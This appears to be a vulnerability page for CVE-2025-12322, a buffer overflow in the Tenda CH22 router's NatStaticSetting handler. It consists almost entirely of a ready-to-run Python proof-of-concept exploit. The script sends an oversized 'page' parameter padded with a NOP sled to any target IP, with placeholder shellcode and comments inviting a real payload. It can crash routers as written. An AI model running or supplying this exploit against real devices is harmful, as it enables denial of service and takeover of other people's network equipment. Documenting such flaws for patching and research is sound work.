CVE-2025-12322 | Tenda CH22路由器fromNatStaticSetting缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-12322 PoC - Tenda CH22 Buffer Overflow in fromNatStaticSetting Vulnerable endpoint: /goform/NatStaticSetting Vulnerable parameter: page """ import requests import sys def exploit_cve_2025_12322(target_ip, target_port=80): """ Exploit buffer overflow in Tenda CH22 router's NatStaticSetting function. Args: target_ip: Target router IP address target_port: Target router web port (default: 80) Returns: bool: True if exploit sent successfully, False otherwise """ url = f"http://{target_ip}:{target_port}/goform/NatStaticSetting" # Buffer size estimation - may need adjustment based on firmware version # The overflow occurs when 'page' parameter exceeds buffer capacity buffer_size = 1024 overflow_payload = "A" * buffer_size + "\x00" * 64 # For actual exploitation, replace NOP sled and shellcode accordingly # This is a proof-of-concept demonstrating the vulnerability trigger nop_sled = "\x90" * 100 # Placeholder for shellcode - should be customized for target architecture shellcode = "\xcc" * 50 # INT3 for debugging, replace with actual payload payload = overflow_payload + nop_sled + shellcode data = { "page": payload } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload)} bytes") response = requests.post(url, data=data, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.Timeout: print("[-] Request timed out - target may have crashed or is not vulnerable") return False except requests.exceptions.ConnectionError: print("[-] Connection error - check target IP and port") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [target_port]") print(f"Example: {sys.argv[0]} 192.168.0.1 80") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2025_12322(target_ip, target_port)